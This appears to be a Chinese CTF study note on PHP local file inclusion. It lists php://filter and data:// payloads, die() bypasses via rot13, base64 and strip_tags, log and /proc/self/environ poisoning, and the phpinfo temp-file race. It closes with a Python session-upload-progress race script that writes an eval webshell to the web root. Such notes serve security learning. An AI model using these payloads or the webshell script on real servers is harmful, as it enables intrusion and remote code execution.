文件包含基础

常见函数

  • include():仅包含, 包含失败不影响执行
  • require():必须包含成功,有报错会后面不执行
  • include_once():包含一次 ,再次包含不重复包含
  • require_once():包含一次 ,再次包含不重复包含

伪协议利用

常见伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
file:///etc/passwd
file://../../../f1ag
file://C:\Windows\System32\drivers\etc\hosts

php://input
php://filter/resource=1.php

读源码: php://filter/read=convert.base64-encode/resource=flag.php
写文件: php://filter/write=convert.base64-decode/resource=shell.php
(还有rot13 strip_tags...)

data://text/plain,<?php phpinfo();?>
data://text/plain,"<?php phpinfo();?>"
可用简写
data:,<?=phpinfo();
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

die()绕过

1
2
3
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,"<?php die();?>".$content);

方法1: rot13

1
2
3
4
file=php://filter/string.rot13/resource=shell.php
content=<?cuc cucvasb();?>

shell.php 内容: <?cuc qvr();?><?php phpinfo();>

方法2: base64

1
2
3
4
5
6
7
8
file=php://filter/convert.base64-decode/resource=shell.php
content=aaPD9waHAgcGhwaW5mbygpOz8%2b

shell.php内容: �]��<?php phpinfo();?>

//原理 base64 8位一解码 且只解码a-zA-Z0-9+/
//前面可解码内容有phpdie 六个字符
//添加aa在最前面保证后面的shell编码可以正常被解码

方法3: strip_tags

1
2
file=php://filter/string.strip_tags|convert.base64-decode/resource=shell2.php
content=PD9waHAgcGhwaW5mbygpOz8%2b

常见利用

文件名可控

文件名可控,即可控制协议头

1
2
3
<?php
$file=$_GET['file'];
include $file.".php";

后缀可控

考虑路径跳转

日志文件包含

  • nginx: /var/log/nginx/access.log
  • apache2: /var/log/apache/access.log

在不会被url编码的位置传入<?php phpinfo();?> 例如User-Agent

然后包含日志文件即可

临时文件包含

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考

LFI With PHPInfo Assistance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

利用方法简述
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

image-20220915001356512

包含/pros/self/environ

proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

利用条件:

  • php以cgi方式运行,这样environ才会保持UA头。
  • environ文件存储位置已知,且environ文件可读。

参考文章:proc / self / environ Injection

session文件包含和upload_progress

session默认路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

  • 几个相关配置

    image-20220915004108139

  • session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

    session.upload_progress.cleanup = on:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启

    session.use_strict_mode:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。

参考文章: 浅谈 SESSION_UPLOAD_PROGRESS 的利用

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import threading
session = requests.session()
sess = 'xxxx'
url = ""


data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file = {
'file': 'xxxx'
}
cookies = {
'PHPSESSID': sess
}


def write():
while True:
r = session.post(url, data=data1, files=file, cookies=cookies)


def read():
while True:
r = session.get(url+"?file=../../../../../../../tmp/sess_ctfshow")
if 'success' in r.text:
print("shell 地址为:"+url+"1.php")
exit()


threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

pear文件包含

待填坑